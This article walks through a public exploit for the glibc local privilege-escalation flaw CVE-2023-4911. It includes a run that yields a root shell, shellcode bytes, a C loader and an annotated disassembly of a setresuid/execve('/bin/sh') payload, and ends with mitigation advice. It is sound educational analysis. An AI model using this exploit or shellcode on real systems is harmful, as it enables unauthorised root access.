CVE-2023-4911 - Privilege escalation in glibc

Introduction

As written by Qualys in https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

Recently, we discovered a vulnerability (a buffer overflow) in the dynamic loader's processing of the GLIBC_TUNABLES environment variable (https://www.gnu.org/software/libc/manual/html_node/Tunables.html). This vulnerability was introduced in April 2021 (glibc 2.34) by commit 2ed18c ("Fix SXID_ERASE behavior in setuid programs (BZ #27471)"). We successfully exploited this vulnerability and obtained full root privileges on the default installations of Fedora 37 and 38, Ubuntu 22.04 and 23.04, Debian 12 and 13; other distributions are probably also vulnerable and exploitable (one notable exception is Alpine Linux, which uses musl libc, not the glibc). We will not publish our exploit for now; however, this buffer overflow is easily exploitable (by transforming it into a data-only attack), and other researchers might publish working exploits shortly after this coordinated disclosure.


GLIBC Tunables

Tunables are a feature in the GNU C Library that allows application authors and distribution maintainers to alter the runtime library behavior to match their workload. These are implemented as a set of switches that may be modified in different ways. The current default method to do this is via the GLIBC_TUNABLES environment variable by setting it to a string of colon-separated name=value pairs. For example, the following example enables malloc checking and sets the malloc trim threshold to 128 bytes:
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES        

[https://www.gnu.org/software/libc/manual/html_node/Tunables.html]

Exploit

I've successfully tested the following script on my Kali 2023.1

https://haxx.in/files/gnu-acme.py

This script targets by default the su binary, but any set-user-ID program, set-group-ID program or program with proper capabilities can be affected.

┌──(kali?kali)-[~]
└─$ python3 gnu-acme.py

      $$$ glibc ld.so (CVE-2023-4911) exploit $$$
            -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'\x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **


# whoami
root        


The script provides shellcodes for different architectures (i686, x86_64, and aarch64) along with exit codes for each architecture.

Also the exit code is a shellcode.

Here a script to convert the shellcode hex string into a C array:

import binascii
import sys
import os

shellcode_str="6a665f6a3c580f05"
shellcode=binascii.unhexlify(shellcode_str)
fp=open(sys.argv[1],"wb")
fp.write(shellcode)
fp.close()
os.system("xxd -i " + sys.argv[1])        

Then a debuggable ELF file can be created using following C code:

#include <unistd.h>
#include <sys/mman.h>

// gcc -o shellcode.elf main.c -z execstack -fno-stack-protector -g

unsigned char shellcode[] = {0x6a, 0x66, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05};

int main() 
{
      mprotect((void*)((intptr_t)shellcode & ~0xFFF),8192,PROT_READ|PROT_EXEC);

      int (*run)();
      run = (int (*)())shellcode;
      (int)(*run)();

      return 0;
}        

As the exit code is quite simple also an online x86 disassembler may be used (https://defuse.ca/online-x86-assembler.htm#disassembly2)

The exitcode for x86 has the following assembly:

0x555555558018 <shellcode+0>    push   0x66
0x55555555801a <shellcode+2>    pop    rdi
0x55555555801b <shellcode+3>    push   0x3c // 60 = sys_exit (int error_code) -> exit(0x66)
0x55555555801d <shellcode+5>    pop    rax
0x55555555801e <shellcode+6>    syscall         

It just is an exit function with return code equal to 0x66.

This is used when the ASLR is disabled to find a candidate ld.so offset when your system glibc is not already listed in the TARGETS array. For example my Kali glibc was not part of that array, so I temporarily disabled ASLR to find a valid offset and then I added the libc build id and the offset to that array.

Instead when the ASLR is enabled the shellcode used has the following assembly:

0x555555558040 <shellcode+0>    push   0x6b // 107 = sys_geteuid
0x555555558042 <shellcode+2>    pop    rax
0x555555558043 <shellcode+3>    syscall 

0x555555558045 <shellcode+5>    mov    edi, eax // eax = 1000 
0x555555558047 <shellcode+7>    mov    edx, eax
0x555555558049 <shellcode+9>    mov    esi, eax
0x55555555804b <shellcode+11>   push   0x75 // 117 = sys_setresuid (uid_t *ruid, uid_t *euid, uid_t *suid)
0x55555555804d <shellcode+13>   pop    rax
0x55555555804e <shellcode+14>   syscall 

0x555555558050 <shellcode+16>   push   0x68 //  0x00007fffffffdd70│+0x0000: 0x0000000000000068 ("h"?)	 ← $rsp
0x555555558052 <shellcode+18>   movabs rax, 0x732f2f2f6e69622f // $rax   : 0x732f2f2f6e69622f ("/bin///s"?)
0x55555555805c <shellcode+28>   push   rax // 0x00007fffffffdd68│+0x0000: "/bin///sh"	 ← $rsp
0x55555555805d <shellcode+29>   mov    rdi, rsp // $rdi   : 0x00007fffffffdd68  →  "/bin///sh"

0x555555558060 <shellcode+32>   push   0x1016972
0x555555558065 <shellcode+37>   xor    DWORD PTR [rsp], 0x1010101 // 0x00007fffffffdd60│+0x0000: 0x0000000000006873 ("sh"?)	 ← $rsp

0x55555555806c <shellcode+44>   xor    esi, esi
0x55555555806e <shellcode+46>   push   rsi
0x55555555806f <shellcode+47>   push   0x8
0x555555558071 <shellcode+49>   pop    rsi       
0x555555558072 <shellcode+50>   add    rsi, rsp
0x555555558075 <shellcode+53>   push   rsi
0x555555558076 <shellcode+54>   mov    rsi, rsp // 0x00007fffffffdd50  →  0x00007fffffffdd60  →  0x0000000000006873 ("sh"?)

0x555555558079 <shellcode+57>   xor    edx, edx
0x55555555807b <shellcode+59>   push   0x3b // 59 = sys_execve(const char *filename, const char *const argv[], const char *const envp[])
0x55555555807d <shellcode+61>   pop    rax
0x55555555807e <shellcode+62>   syscall           

For the sake of clarity, we can recap it as:

euid = sys_geteuid()
sys_setresuid (euid , euid, euid)
sys_execve("/bin/sh", "sh", NULL)        

The script creates a patched glibc placed in a trusted directory (hax_path) with previous shellcode just after the libc start main:

fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])        

After that it forges a vulnerable GLIBC_TUNABLES environment variable with function build_env.

Then it calls a set-user-ID program (su or another passed by the user) together with the vulnerable environment variable previously created.


Mitigation

Use mitigation proposed by Red Hat https://access.redhat.com/security/cve/CVE-2023-4911 or upgrade to the latest glibc packages.


This article is meant for educational purposes. It's crucial to use scripts responsibly and only in environments where you have proper authorization. Unauthorized use of such tools may lead to legal consequences.

要查看或添加评论,请登录

Antonello Tartamo的更多文章

  • My KVM Journey: Windows 10 Virtualization

    My KVM Journey: Windows 10 Virtualization

    I started having problems with #Virtualbox a few weeks ago when using PowerPoint and the virtual machine in full screen…

社区洞察

其他会员也浏览了